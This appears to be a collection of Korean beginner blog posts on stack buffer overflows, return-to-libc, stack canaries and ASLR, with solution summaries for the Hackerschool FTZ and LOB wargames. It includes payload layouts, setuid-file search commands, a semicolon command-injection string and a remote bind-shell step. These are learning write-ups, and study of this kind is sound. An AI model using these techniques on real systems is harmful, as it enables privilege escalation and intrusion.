안녕하세요! 저번에는 단순히 버퍼 오버 플로우가 어떤 원리로 일어나는 것인가 ? 
오버 플로우를 통해서 어떻게 공격을 할 수 있는가? 를 알아봤습니다!

이번에는 좀 더 업그레이드 되고 세련된 방법을 소개해드리겠습니다!
바로 Retrun To Library입니다!

이러한 구조로 되어있습니다!
버퍼 오버플로우 - 1 에서 SFP , RET의 역할과 오버플로우를 통하여 RET에 닿으면 어찌되는가 ? 를 설명해드렸는데 혹시 기억이 안나시거나 개념이 햇갈리시면 다시 봐주시길 바랍니다 .

먼저 RTL이란 ? Ret 주소에 libc라는 공유라이브러리 함수 주소로 덮어서 
system 함수를 호출하도록 유도하여 공격하는겁니다!

예제를 통해 RTL이란 무엇인가? 를 설명해드리겠습니다!


( 본 소스는 해커스쿨 FTZ-LEVEL12입니다 . 풀이를 알게 될 수도 있으니 스스로의 힘으로 LEVEL12를 풀어보시려는 분은 다른 좋은 글들을 읽어주시면 되겠습니다! )
setreuid가 걸려있어서 따로 만들어 줄 필요는 없어보입니다!
그리고 gets 함수를 사용하네요 
gets 함수의 취약점은 엔터를 입력받을 때 까지 모두 버퍼에 담아버립니다
즉 256을 넘길 수 있으니 버퍼 오버플로우가 일어나겠군요 ? 
그렇다면 이러한 취약점을 통해서 RTL로 공격해보겠습니다 

버퍼는 일단 256만큼 주어졌습니다!

자 ! 여기서 이제 RTL을 위해 알아야 하는 주소들은 무엇들이 있을까요 ?

먼저 System 주소를 파악해야합니다!
(이유  : System 함수란? 운영체제의 명령어나 외부의 각종 실행 파일을 실행하기 위해서 사용합니다! 또한 쉘을 실행시켜야 하기 때문에 시스템 함수로 /bin/sh을 호출해야합니다!)



system 의 주소는 이런식으로 gdb분석에서 얻을 수 있는 방법이 있습니다!

system의 주소를 휙득했으면 /bin/sh의 주소도 얻어야겠지요 ? 

/bin/sh의 주소는 저러한식으로 gdb에서 읽어 낼 수 없고 따로 코드를 써서 얻어내셔야합니다 

이러한 소스를 이용해서 /bin/sh의 주소를 구하고 나면 페이로드를 어떻게 짜야할까요 ?
해당 level12의 소스는 256이 주어졌습니다 [실제로 푸실떄는 더미값을 계산하셔야합니다.]
buf[256]+sfp[4]+ret[4] 이러한식으로 스택이 구성되잇겠습니다.

buf[256]+sfp[4]+system주소[4]+dummy[4]+/bin/sh[4] 이런식으로 짤 수 잇겠습니다.

dummy를 넣어주는 이유는 system 함수나 execl 함수는 ebp+8 위치의 인자를 인식하기 때문에 dummy+4를 넣어서 /bin/sh를 불러옵니다!
(system주소 다음에 리턴어드레스를 쓰레기값으로 채우기 위한 용도라고도 합니다)

이것이 RTL의 기본 원리입니다 

응용과 좀 더 자세하게는 다음에 찾아뵙곘습니다


'시스템 기법 정리' 카테고리의 다른 글

Format String Attack (FSB)  (0) 2016.05.30
ASLR를 해제하는 여러가지 방법  (0) 2016.05.29
plt , got , rtl chain , ASLR  (0) 2016.05.28
버퍼 오버플로우 - 1  (1) 2016.05.25
버퍼 오버 플로우 역사 및 정리  (0) 2016.05.24

*초보자가 작성한 글이므로 완벽하지 않을 수 도 있습니다 
 부족한 점이 있다면 지적해주시고 고쳐주시면 감사하겠습니다*
----------------------------------------------------------------------------------------------

0xb000000(낮은 주소)                                             0xbffffff(높은 주소)

낮은주소                                                                    높은주소 
 Stack         Heap             Bss                Data                 Text

* 스택은 거꾸로 자랍니다! 변수를 선언하면 선언할수록 메모리의 높은주소 에서 메모리의 낮은 주소로 향합니다! 이 부분은 직접 gdb로 분석 해보시다 보면 이해가 가실겁니다! *

이러한 식으로 메모리 구조가 이루어져있고 이번에 포스팅할 게시글은 
Stack 을 이용한 버퍼 오버플로우를 소개하겠습니다

[ 버퍼 오버플로우 - 버퍼를 초과시켜서 공격자가 원하는 대로 프로그램의 흐름을 만들어 작동시키는 것 입니다!]

Stack은 프로그래밍을 할때 함수 내부에서 선언하는 변수들이 들어가게 됩니다
또 한 스택은 먼저 들어간것은 가장 나중에 뺄 수 있습니다! 
버스기사 님들의 동전을 생각하면 되겠네요 동전을 넣어가면 점점 쌓이게 되고
그 동전을 빼려고 하면 위에서 부터 뺄수 잇겠지요 ?
(너무 진지하게 아래서 나오잖아요! 라곤 생각하지 맙시다! 그냥 저렇게 생각하시라구요!)
아니면 설거지를 하고 접시를 차곡차곡쌓는다 할때 먼저 설거지가 끝난 순서대로 접시를 쌓아 올리겠죠 ? 그 접시를 사용하려면 위에 접시부터 빼야지 아래 접시부터 빼서 쓰지는 않잖아요! 그런겁니다!

스택의 이러한 입출 방식을 기억하고 있으셔야지 좀 더 이해가 쉬우실겁니다!

자 이제 버퍼 오버플로우에서 버퍼란 ? 
데이터를 일시적으로 저장하는 메모리의 영역을 뜻합니다!
또한 스택 안에서 생성이 됩니다! 
또한 버퍼 오버플로우는 C , C++ , 어셈블리어 에서만 주로 발생을 하지
Java , Perl , Python 같은 언어들은 메모리를 자체적으로 관리하기 때문에 버퍼 오버플로우가 발생하지 않는다고 합니다! C#의 경우는 보호 기능을 제공하구요 
자 이제 여기서 버퍼 오버플로우가 어느 상황에서 발생하느냐!

[본 소스는 해커스쿨에서 제공하는 FTZ LEVEL 9 입니다]

버퍼 오버 플로우를 간단하게 이해하고 사용해보기 위하여 만들어진 소스네요!
buf , buf2에 각각 10의 크기가 할당 되어 있습니다!

[*주의* 데이터 영역의 전역 변수는 " 메모리의 낮은 주소 " 에서 " 메모리의 높은 주소 " 로 자라납니다
스택 영역은 " 메모리의 높은 주소 " 에서 "메모리의 낮은 주소" 로 자라납니다!
이번 글에서 다룰 영역은 --스택-- 영역입니다!"

자 그렇다면 아주 간단하게 스택을 만들어보죠 
/---------------------------------------/
|                                      |

|           buf 2  [10]              |

|           buf  [10]                | 

|                                     |

/-----------------------------------------/

이러한 식으로 스택이 들어간다는 소리입니다!

만약에 여기서 1,2,3,4,5  = buf 2 A,B,C,D,E = buf  이렇게 들어간다면 어떻게 될까요 ? 
/---------------------------/ 메모리 높은 주소
|           ret             |
/---------------------------/
|           sfb             |
/---------------------------/
|             5             |
|             4             |
|             3             |
|             2             |
|             1             |
/---------------------------/
|             E             |
|             D             |
|             C             |
|             B             |
|             A             |
/---------------------------/ 메모리 낮은 주소 

높은 주소에서 낮은 주소로 자란다는 것이 어떤것인지 이해 하셨을거라 생각하겠습니다!
자 다시 한번 저 소스의 스택을 보죠!

/---------------------------/ 메모리 높은 주소
|           ret             |
/---------------------------/
|           sfb             |
/---------------------------/
|          buf2 [10]       |
/---------------------------/
|          buf [10]        |
/---------------------------/

ret와 sfb는 각각 4바이트를 가지고있습니다!

근데 소스를 보면

stdin으로 40만큼의 크기를 buf에 넣어버리네요!

근데 지금 buf에는 10의 크기가 할당 되어 있습니다 

여기서 만약 10을 넘는 크기를 넣어주면 어떻게 될까요 ?

좀 더 편히 설명하기 위해서 buf 에는 5의 크기가 할당 되어 있고 5를 넘는 크기를 넣어 준다고 가정 하겠습니다! (단순히 크기만 10에서 5로 바뀌어서 설명하는겁니다!)

buf 에다가 8를 넣어보겠습니다!

/---------------------------/ 메모리 높은 주소
|           ret[4]          |
/---------------------------/
|           sfb[4]          |
/---------------------------/
|             5             |
|             4             |
|             H             |     buf2[5]
|             G             |
|             F             |
/---------------------------/
|             E             |
|             D             |
|             C             |     buf[5]
|             B             |
|             A             |
/---------------------------/ 메모리 낮은 주소

buf 에서만 입력한 영어들이 buf2 까지 올라갔네요! 입력된 것을 모두 저장하기 위해서 buf 에만 할당한 스택을 넘어서 buf2 라는 다음 메모리 영역까지 사용을 해버렸습니다.

근데 위에 sfb 와 ret 라는 친구들이 보이지요 ? 
만약 buf[5] 와 buf2 [5]의 합 크기 10 을 넘어선 값을 입력하게 된다면..?
sfp와 ret 까지 침범하게 될겁니다 .

자 여기서 sfp와 ret가 무엇이냐 ?

sfp - 함수 프롤로그에서 push ebp 에 의해서 저장된 ebp에 값입니다!
[함수에서 지역변수들이 사용될 때 EBP가 기준으로 사용이 됩니다.
그런데 함수를 하나만 사용하는것이 아니잖아요 ? 다른 함수로 넘어갔다가 다시 돌아올 때 함수가 시작햇을 당시 처음의 EBP 주소로 이동하기 위해서 저장해두는 값입니다!] 

ret - 함수가 임무를 수행하고 끝마친뒤 다음에 실행되어야할 " 명령이 위치한 메모리의 주소" 를 뜻합니다 
만약 근데 버퍼 오버플로우가 일어나서 ret 부분에 공격자가 원하는 공격이 위치한 메모리의 주소로 덮어씌어버린다면? 
공격자가 원하는 공격을 하도록 흐름이 바뀌겟지요 ?  


[gcc = GNU에서 만든 C컴파일러 이고 전처리기 , 컴파일러 ,어셈블러, 링커를 호출해주는 역할을 한다]

gcc 2.96 이상 버전으로 업그레이드 되면서 버퍼의 각 변수뒤에 dummy값이 생기게 되었습니다 

아까 와 같은 스택을 gcc2.96 이상에서 컴파일 하게 된다면

/---------------------------/ 메모리 높은 주소
|           ret[4]          |
/---------------------------/
|           sfb[4]          |
/---------------------------/
|             ?             |
|             ?             |
|             ?             |     dummy[?]
|             ?             |
|             ?             |
/---------------------------/
|             5             |
|             4             |
|             3             |     buf2[5]
|             2             |
|             1             |
/---------------------------/

|             ?             |
|             ?             |
|             ?             |     dummy[?]
|             ?             |
|             ?             |
/---------------------------/
|             E             |
|             D             |
|             C             |     buf[5]
|             B             |
|             A             |
/---------------------------/ 메모리 낮은 주소


이러한 식으로 버퍼의 각 변수 뒤에 dummy값이 형성이 됩니다 
그리고 이러한 dummy값 때문에 오버플로우를 일으켜서 ret에 덮어 씌우는 작업이
좀 더 어려워졌습니다

자 이제 여기서 dummy 값을 정확히 파악하기 위해서 gdb를 이용해 분석을 합니다.
[어셈블리와 gdb 사용법에 대해서 공부를 해야합니다 ]

gdb를 분석한 뒤 dummy 값을 찾아낸 뒤에 자신이 공격을 할 주소의 자신이 원하는 흐름대로 프로그램을 이끌어갈 주소를 넣으면 
이것이 바로 버퍼 오버플로우 공격입니다 
여기까지가 스택을 이용한 버퍼 오버플로우의 기본이였습니다 . 감사합니다 

버퍼 오버플로우가 일어날 수 있는 취약한 함수들 

Strcpy() =  정해진 곳에 지정된 내용을 복사해서 넣고 그 길이를 체크하지 않는다.

ex) strcpy( ( str ,argv[1]);
100이라는 배열을 선언햇지만 200을 집어 넣어도 무작정 집어넣게됨 

Strcat , sprintf , vsprintf ,gets , fsacnf , scanf, sprintf , sscanf, vfscanf, vsprintf,
vscanf , vsscanf , streadd, strecpy , strtrns 도 마찬가지로 이러한 취약점들이 존재함

Stack Overflow = 위에 게시해놓은 함수들에 의해서 문자열이 복사될 때 버퍼를 넘치게 하여 임의의 코드 (setuid가 담긴 쉘 코드라던가 시스템 함수라던가) 가 담긴 곳으로 ret에 주소를 넣어서 임의의 코드를 실행할 수 있도록 만들어서 공격한다 .



Return Into Libe  (RTL) 

함수의 ret를 덮어서 공유 라이브러리에 존재 하고있는 system() 함수를 가리키게 한뒤에 실행에 필요한 매개 변수를 전달하여 공격한다 
(메모리에 적재된 공유 라이브러리는 스택에 존재하는 것이 아니므로
Non-executable Stack을 우회하는 것이 가능하다)

RET를 메모리에 적재된 System()함수를 가리키게 하고 환경변수에 저장한 "\bin\sh"의 주소를 ebp+x(레드헷 6.2 기준 4 레드헷 8기준 8) 에 위치시킨뒤 공격한다 
|\x90*4|&System() | dummy4 or &exit() | &\bin\sh | \x90 | SFP | RET (레드헷6.2기준)
으로 페이로드를 짜서 공격하면 된다 .

 

Defeating Non-executable Stack 패치

리눅스에서 공유 라이브러리는PLT와 GOT를 이용한다 .
PLT - 프로그램이 호출하는 모든 함수를 나열하고 있는 테이블
GOT - 프로그램 실행 후 libc.so 내의 실제 함수 주소가 저장되는 곳
libc.so(표준 C라이브러리의 공유 객체 파일)
PTL는 실제 호출될 함수를 나타내는 값을 _dl_runime_resolve 함수의 인자로 넘기고 
_dl_runtime_resolve 함수는 전달된 인자 값을 사용하여 호출된 함수의 실제 주소를 구한 후 GOT에 저장한 뒤 호출된 함수로 점프한다.
이 후에 동일한 함수가 다시 호출되면 동적 링커는 GOT에 저장되어 있는 호출된 함수의 실제 주소로 바로 점프하게 된다.
공격하는 사람은 취약한 함수를 사용해서 RET를 strcpy()[취약한 함수] 함수의 PLT 주소로 변경한다.
PLT 주소에는 Null String이 포함되어 있지 않으므로 취약한 함수가 실행되는데 
이 함수가 환경변수에 저장된 shellcode를 데이터 세그먼트 영역에 복사한다 .
strcpy() 함수가 완료된 후 RET가 복사된 데이터 세그먼트 영역의 shellcode를 가리키면서 shellcode가 실행되게 한다 .


나 - strcpy()를 두 번 호출하여 GOT를 덮어쓰기
두 번째부터의 동일한 함수 호출 시에는 GOT에 저장된 주소로 점프하게 되므로 첫 번째 strcpy()실행 시 GOT에 system()의 주소가 쓰여지게 한다 .
그리고 두 번째로 strcpy()가 호출될 때는 GOT에 저장된 system()의 주소로 점프하게 되고 환경변수에 저장된 인자 값을 실행하게 된다 .

Stack Guard

버퍼 오버 플로우 방어 기술  
RET 앞에 Canary 값을 주입하고 에필로그 (leave , ret)시에 Canary 값이 변조되었는지의 여부를 확인하여 버퍼 오버플로우 공격을 탐지한다.
버퍼부터 RET까지 덮어쓰는 공격은 Canary 값을 덮어쓸 수 밖에 없으므로 버퍼 오버플로우가 발생했다는것을 알 수 있다.

Canary는 프로그램 시작 시간에 crt0 라이브러리를 이용하여 무작위로 생성된다
Null Canary , Terminator Canary , XOR Random Canary 등으로 변경되었다.
Null Canary , Terminator Canary는 Canary로 사용될 값에 Null 문자나 Terminator 문자가 들어가게 하여 strcpy() 같은 문자열 복사 함수가 실행될 때 해당 문자에 의해 실행이 종료되어 버리도록 한다. (터미네이터 = 문자열의 맨 마지막을 가리킨다
C 언어에서는 터미네이터로서 널(null) 문자가 사용됩니다)

XOR Random Canary
함수가 호출될 때 RET와 Random Canary를 XOR한 값을 메모리에 저장한 후 RET 앞에 위치시킨다(Canary) 이 후에 함수가 return될 때 메모리에 저장되어있던 Canary와 스택 상의 RET 값을 XOR 연산한 후 이 값을 스택상의 XOR이 된 Canary 값과 비교하여서 일치해야지 실행이된다.

Window 버퍼 오버플로우

소스가 공개되어 있지 않아서 리눅스와는 달리 비교적 안전하다고 생각되었던 Windows를 공격하는 방법은 리눅스에서의 버퍼 오버플로우 공격과 원리는 동일 하였고 단지 shell을 실행하기 위해서는 필요한API(응용 프로그램에서 사용할 수 있도록 운영 체제나 프로그래밍 언어가 제공하는 기능을 제어할 수 있게 만든 인터페이스를 뜻함)를 가지고 있는 몇몇 dll 파일을 적재하는 코드가 포함되어야 한다는 차이가 있다.

Random Stack 

프로그램이 실행될 때마다 스택이 서로 다른 주소에 위치하도록 하여 버퍼의 주소를 알아내기 힘들게 한 것 스택을 비고정적으로 위치시키기 위해 /dev/urandom , alloca()를 써야 한다고 제안을 하였고 RTL같은 공격으로부터 방어를 하기 위해서 공유 라이브러리의 주소 또한 무작위로 할당할 것을 권하였다 .

Heap Overflow

Heap 메모리에서 오버플로우를 해서 공격한다 

HEAP 영역은 malloc()에 의해 할당되고 Heap 영역 외에도 static 지시자에 의해 할당되는 bss 영역에서도 동일하게 버퍼 오버플로우가 일어날 수 있다 
setjmp() 함수를 이용해 현재의 명령어 , 스택 포인터 , 다른 레지스터를 jmp_buf에 저장한 후 longjmp() 함수로 setjmp()에 의해 저장된 jmpbuf를 복구한 다음 jmpbuf를 덮어씀으로써 longjmp() 함수가 호출될 때 shellcode를 실행할 수 있다.

strlcpy() and strlcat()

strncpy() , strncat() 은 자동으로 Destination의 문자열을 Null String으로 마치게 해주지만 [ char *strncpy(char *dest, char *src , size_t maxlen) =  문자열의 정해진 길이만큼 src에서 dest로 복사한다 ] src 문자열의 길이가 dest 문자열의 길이보다 클 때 오버폴르오가 일어날 수 있다 


Frame Pointer Overwrite (SFP)

SFP의 1바이트 조작만으로 공격이 가능한 기법  SFP의 마지막 1바이트를 덮어써서 eip가 버퍼에 주입된 shellcode를 가리키는 주소가 되도록 조작한다.
leave의 명령어는 mov ebp,esp | pop ebp 이렇게 두 개로 구성이 되있다.
leave 명령어에 의해 ret이 실행되기 전 1바이트가 조작된 ebp(SFP)의 값이 esp에 들어가게 된다.  pop ebp를 수행하면서 esp가 4바이트가 증가하게 되고 eip(현재 실행되고 있는 프로그램의 실행코드가 저장된 메모리의 주소)
즉 eip는 esp+4에 저장된 값을RET으로 인식하여 버퍼에 주입된 shellcode를 실행하게 된다 


레드헷 6.2 - 더미 값 없음 보호 기법 적용 없음 bash2 사용해야함

1 - gate

버퍼가 256이 할당 되어있고 단순히 strcpy -> printf 로 전달
버퍼 내에 쉘코드를 넣어준뒤 ret 주소에 버퍼의 주소를 넣어 쉘코드를 실행시킴

2 - gremlin

버퍼가 16이 할당됨 argv[2]에는 제한이 존재하지 않은것을 이용해서
argv[2]에 쉘코드를 넣어 준 뒤 argv[1]의 리턴 주소를 argv[2]의 주소로 바꾼다 

3 - cobolt

gets 함수 취약점[엔터를 누를떄가지 문자열로 입력을 받아들여서 버퍼 오버플로우 발생 ]을 이용해서 푼다 
파이프 함수와 캣을 이용해서 buf[16]만큼 할당 된곳에 
sfp값까지 총 20을 넣어 20+ ret +쉘코드 로 페이로드를 짜서 ret주소를 쉘코드 주소로 바꿔서 공격한다 

4 - goblin

buf [40] 이 주어져있다 egghunter로 인해 환경변수 와 에그쉘이 막혀있는 상황
argv[1][47]은 \xbf를 만족해야함 

5 - wolfman

버퍼 40 이 주어졌고 buffer hunter로 0~40까지 다 막아버린다 
argv[2]에 놉코드와 쉘을 배치하여서 argv[1]에 ret부분에 놉코드의 주소를 써서 풀었다

6 - darkelf

argv[1]에 제한 조건이 걸려있음 argv[2]에 쉘코드와 놉코드를 넣고 argv[1] 리턴 주소에 놉코드의 주소를 돌려 주면 됨 

7 - orge

argv[0]의 길이가 77이 아니면 종료가됨 
./ < 의 크기도 고려를 해줘서 공격할 프로그램을 77길이에 맞춰서 
.////~~~공격 `pythonc 식으로 페이로드를 짜면 된다 

8 - troll

심볼릭 링크

argv[1]을 다 초기화 해버린다 \x2f가 존재하는 쉘코드면 심볼릭링크 파일로 만들 수 없으므로 \x2f가 존재하지 않는 쉘코드를 이용해서 풀어야함
자동완성 기능을 위해서 AABB를 넣고 쉘코드를 넣은 뒤 심볼릭링크 파일로 만들어서 풀었음

9 - vampire

argv[1][46] == '\xff' 일시 종료됨
그러나 argv[2]에 한도 값이 없으므로 놉코드를 많이 넣어줘서 낮은 주소로 점점 이동시켜서 \xff의 영역을 벗어난곳에 쉘코드를 집어 넣는다 

10 - skeleton

ultra argv hunter 라는 것이 새로 생기고 
argv를 전부 사용하지 못합니다 
하지만 스택을 일일히 보다보면 초기화되지 않은 argv[0]이 존재합니다

NULL위에 있는 program name은 초기화 되지 않음
심볼릭 링크를 만들어준 후에 AABB(자동 완성을 위해서)길이까지 총
./AABB = 6 을 생각해서 &(program name)+6 만큼 주소를 높게 해서 
ret에 넣어준뒤 주소 끝 값에 닿지 않도록 놉을 뒤에 추가로 줬다.
그 뒤에 argv[1]의 조건을 만족 시키기 위해서 [1][47]!=\xbf를 넣어줘서 공격한다.

11 - golem

stack destroyer가 추가됨 버퍼부터 메모리 끝 영역까지 초기화를 해서 
메모리 마지막 영역을 사용 할 수가 없게됨

0xff                                    ~                                      0x00
커널 | argv | argc | ret | ebp | buf | 공유라이브러리 | heap | data | code
      |---------  stack ----------------|

메모리 구조는 이러한 식으로 되어있고 버퍼부터 argv까지 쭉 초기화 되어있기 떄문에 공유 라이브러리를 이용해야 한다 .
gcc -fPIC -shared [돌아가기만 하는 프로그램] -o `~쉘코드~'` 이러한 식으로 
공유라이브러리에 올려줄 수 있고 ret에 적당한 공유라이브러리 주소를 넣으면 공격된다 [ 공부하다가 알아낸것 : 공유 라이브러리를 이용하면 1~20까지 모든 권한을 습득 가능했다]

12 - darkknight

SFO (Frame Pointer Overflow)를 이용해서 풀었음
변조한 ebp값이 sub()에서 mov esp,ebp를 통해 esp에 저장된다
그후 pop ebp를 해서 +4가 증가되고
esp의 위치도 +4가 된다 ret를 수행하면서 eip로 전달되서 초기 변조된 sfp값의 주소가 시작된다 
고로 쉘코드를 기존 sfp(변조 시킨 값)+4에 넣어주면 된다

13 - bugbear

argv[1][47] == '\xbf' 를 만족해야하는데 스택을 사용할 수 없으므로
RTL을 사용해야한다

14 - giant

execve를 리턴주소에 넣어야함 (ret =exever adr과 같은 조건이 있음)
execve (const char *filename, char *const argv[], char *const envp[]) < 형태
첫번째 인자 : 실행시킬 파일명 두번째 인자 : 전달할 인자값 세번쨰인자 :환경변수
고로 ret주소 뒤에 system+exit+bin/sh+null을 넣어줘야함 null은 스택 끝쪽에 아무거나 비어잇는거 사용함
여기서 0a는 줄바꿈을 시도하는 어셈블리기 때문에 문자열 "~"로 전달하여야함

15 - assassin

RTL과 스택 주소 이용 불가
RET은 pop eip jmp eip를 수행 만약 ret 주소에 ret이 들어가잇으면
렛을 다시 수행하면서 추가로 +4가 주어짐
렛 주소를 한번 더 쓴뒤 RTL을 하면 됨

16 - zombie_assassin

fake ebp

17 - succbus

함수연속호출(?) 이던가 도개걸윷모 ret주소 이용햇던거마냥 계속 호출하고 마지막에 쉘코드 써주고 쉘코드 주소를 넣어주면 됨

18 - nightmare
argv의 ret이 strcpy와 같아야하고 buf48에서 +4 주소를 A로 채워버림
strcpy(a,b)는 b의값이 a로 전달 되는 함수이다 

&SYSTEM+A*4+&/bin/sh+A*32+&STRELN+"A"*4+&RET+&BUF의 첫 주소로 공격
을 해서 클리어했다

19 - xavius

buffer[47] == \xbf 일 경우 exit(0) buffer[47] == '\x08' 일 경우 exit(0)
while(memcmp(ret_Addr, "\x90\x90", 2) != 0)
{
   if (*ret_addr == '\xc9){ //leave
     if(*(ret_addr+1) == '\xc3\)} //이쪽 부분들 포인터 변수인 ret_addr을 통해서 라이브러리를 사용하지 못하게만들었고 라이브러리 끝에도 leave,ret이 존재하기 때문에 철저하게 막아놓은것

버퍼에 값을 fgets(buffer , 256, stdin)
                  print("%s\n", buffer) 이런식으로 전달을 하는데 stdin에는 일시적으로 값을 저장하기위한 임시 입력 버퍼이고 stdin의 주소에는 전송한 값이 잇기에 
stdin의 초기주소를 구해서 풀었다.

20 - deathknight

리모트공격 문제 기존의 쉘코드를 같은 로컬일때나 가능하고 
지금 같이 통신을 통한 공격은 사용이 불가능하기에 바인드쉘코드를 직접 넣음
소스를 넣은뒤 6666포트로 공격을하고 0xbffffff주소 부터 놉코드만큼 줄여나가서 공격을 하도록 소스를 짠뒤 연결에 성공하게 되면 Escape character is '^]'.가 나오는데 세미콜론을 붙여서 명령어를 치면 받아들인다


 

'해커스쿨 lob' 카테고리의 다른 글

LOB CLEAR~  (0) 2016.05.21
LOB death_knight  (0) 2016.05.21
LOB xavius  (0) 2016.05.19
LOB nightmare  (0) 2016.05.19
LOB succbus  (0) 2016.05.16

LEVEL 1 

/ -perm +4000 -user level2 -ls 2>/dev/null (2번은 에러스크립터를 제외하게 해줌)
을 이용해서 level2권한이 걸린곳을 찾고 
my-pass 명령어를 직접 실행시키는것은 막혀잇으니 level2 권한으로 
shell(커맨드)를 실행시킨후 my-pass를 입력한다 

LEVEL 2

LEVEL1과 마찬가지로 권한을 찾은 후 권한이 걸린 /usr/bin/editor로 이동한다 
vi 편집기를 이용해서 :! < 쉘 명령을 한줄만 입력할 수 있다
:!my-pass 를 쳐서 한다 .


LEVEL 3 

힌트를 열어보면 
-동시에 여러 명령어를 사용하려면?
-문자열 형태로 명령어를 전달하려면 ? 이라는 문구가 들어있다 
마찬가지로 권한을 찾은뒤 권한이 걸려있는 /bin/autodig로 접근한 뒤
쉘에 my-pass를 전달해야 하므로 ./autoding "bin/bash;my-pass"를 이용한다.
동시에 여러 명령어 전달 - argv[1]>>;<<argv[2] 이런식으로 세미콜론사용
문자열 형태로 전달 "argv[1]" 이런 식으로 따옴표 안에 넣어줌

LEVEL 4

백도어를 누군가가 심어놨다고 한다 cat 명령어로 백도어를 열어보니
level5권한이 걸려있는 파일이 /home/level4/tmp/backdoor에 있다고 한다 .          또한 service finger 이다
tmp에 가면 backdoor 파일이 없다 그래서 시스템 함수에 "my-pass"를 전달해줘서
my-pass를 level5의 권한으로 실행시켜줘야한다.
#include <stido.h>
#incldue <stdlib.h>
int main() 
{
  system("my-pass")
  return 0;
}

LEVEL 5 

/tmp 디렉토리에 level5.tmp라는 이름의 임시파일을 생성한다고 한다 
level5를 실행시킨후 tmp에 가서 확인하면 임시 파일이 존재 하지 않는데 
level5.tmp 라는 동일한 이름을 가진 임시 파일을 생성하여서 
내용만 바뀐 level5.tmp를 읽어서 풀 수 있다 

LEVEL 6 

텔넷 창이 뜨기 이전에 hint에서 ctrl+ c를 이용해서 인터럽트(중단)을 시키면 
패스워드를 얻을 수 있다 

LEVEL 7

단순히 창의력 문제였다 
아스키 코드와 모스부호는 2진수라고 생각하고 10진수로 변환한뒤 풀면 된다

LEVEL 8 

용량이 2700인 파일을 찾아야한다
find / -size 2700c 2>/dev/null 을 사용한다 
그 후에 나오는 암호화 된 것을 존 더 리퍼를 이용해서 푼다 

LEVEL 9 

버퍼 오버 플로우가 시작됐다 
buf1 , buf2에 각자 10씩 할당되어있고 buf2의 첫 2자리에 go가 들어가면 
/bin/bash가 열린다 
gdb분석으로 더미값 파악후 풀면된다 

LEVEL 10 

공유 메모리 공부 후 소스를 짜 풀어야한다 

LEVEL 11

포맷스트링버그 기법

print( str ) 에서 취약점이 발생한다 

LEVEL 12 

RTL

gets 함수 에서 취약점 발생 [엔터를 입력받을 때까지 모두 문자열로 인식해서 받아들이므로 버퍼 값을 넘어서도 넣을 수 있음 

LEVEL 13

스택 가드 , 쉘코드(에그쉘)
더미 파악후 스택 가드 값을 맞춰주고 RET에 에그쉘에서 얻은 코드를 넣어줌

LEVEL 14 

buf에 20이 할당 되엇으나 fgets로 45까지 넣어줄 수 잇으므로 오버플로우 발생 가능하다. gdb분석해서 0xdeadbeef 의 위치를 알아낸 후에
gets 함수이고 소스에 권한이 할당되잇으므로 파이프로 묶은뒤 cat을 이용한다

LEVEL 15가 안보인다..?

차후에 추가


LEVEL 16 

shell , printit 함수와 *call 포인터가있음
shell에는 권한이 담겨있고 printit은 필요없음 *call포인터가 printit을 저장할때 
printit의 주소 대신에 shell의 주소를 넣으면 풀림


LEVEL 17

저번 문제와 똑같은데 shell함수가 없어짐 (권한이 없음)
고로 에그쉘로 쉘코드를 구한 후 LEVEL16에 shell함수 주소 대신 
쉘코드의 주소를 구하면 됨 


LEVEL 18

check에 0xdeadbeef 를 넣어주면 쉘코드가 실행됨

하지만 check는 string밑에 존재 하기 때문에 버퍼 오버 플로우가 불가능하다

하지만 소스 상에서 보면 0x08을 넣으면 count--가 된다 

check와 string은 100 104 즉 4의 차이가난다 고로 \x08을 네 번 넣고 
데드 비프를 넣으면 된다 (100지점에 서로 꽉 달라붙어 잇었을 것으로 예상 그렇지 않앗다면 4~8만큼 값을 조절하면서 넣어보자!) // 추가로 공부 필요가 할거같음


LEVEL 19 

GETS 함수를 쓴다 에그쉘을 이용해서 그냥 RET에 넣으면 된다

LEVEL 20 

포맷 스트링 버그 

fgets(bleh,79,stdin); 으로 79의 크기밖에 사용못하게 보안 코딩이 되어있음

printf(bleh) 으로 취약점이 있음 그냥 또 포맷스트링버그를 쓰면됨

'해커스쿨 ftz' 카테고리의 다른 글

FTZ - level19 Chaining RTL  (1) 2016.06.12
FTZ-LEVEL20  (0) 2016.04.26
FTZ-LEVEL19  (0) 2016.04.25
FTZ-LEVEL18  (0) 2016.04.24
FTZ-LEVEL17  (0) 2016.04.24

'시스템' 카테고리의 다른 글

함수 호출 규약(Calling Convention)  (0) 2016.05.27
스택 프레임  (0) 2016.05.27
/bin/sh의 의미  (0) 2016.05.22
dummy 크기 정확히 파악하기 - 출처 http://beist.org  (0) 2016.05.01
코어덤프  (0) 2016.05.01

sh는 bone shell이라고도 하며 가장 기본적인 쉘이다.

쉘이란 커널과 사용자를 연결해주는 하나의 매개체 역할을 한다고 보면 된다.

쉘은 여러가지 형태로 만들어지지만 크게 csh 계열과 ksh 계열로 나뉜다.

csh는 c 언어를 기초로 관리자 중심으로 만들어진 쉘이고

ksh는 korn shell이라고 불리며 사용자 중심으로 만들어진 쉘이다.

csh는 후에 tcsh으로 확장된다.

리눅스는 bash라는 쉘을 사용하며 이 의미는 born again shell의 의미를 가지고 있다.

bash는 csh의 관리적인 측면과 ksh의 사용자 편의성 측면을 모두 고려하여 만들어진 쉘이다.

리눅스는 대부분의 쉘을 호환하여 사용할 수 있다.


/bin/sh는 쉘의 절대 경로 이다

'시스템' 카테고리의 다른 글

스택 프레임  (0) 2016.05.27
쉘과 쉘코드  (0) 2016.05.22
dummy 크기 정확히 파악하기 - 출처 http://beist.org  (0) 2016.05.01
코어덤프  (0) 2016.05.01
리눅스 gdb 명령어 (계속 추가)  (0) 2016.02.28

수고 하셨습니다! 

원데이 분석으로 찾아뵙겠습니다!

'해커스쿨 lob' 카테고리의 다른 글

LOB 정리  (0) 2016.05.24
LOB death_knight  (0) 2016.05.21
LOB xavius  (0) 2016.05.19
LOB nightmare  (0) 2016.05.19
LOB succbus  (0) 2016.05.16

40바이트만큼 선언되엇지만 256바이트만큼 받아 들일 수 있고 6666포트를 개방했습니다 
힌트로는 remote 라고 적혀있네요 먼저 remote를 공부해야 할거 같습니다 .

*remote에 대한 자료는 추후에 올리도록 하겠습니다 

리눅스의 정보 

#include <stdio.h> //기본 헤더 
#include <stdlib.h> //시스템 함수를 사용하기 위함
#include <errno.h>// 특정한 이유에 의해서 비정상 종료될때 오류코드 호출
#include <string.h> // 메모리 블록을 다루기 위하여 추가함 
memset , memcpy , memset ,strlen 
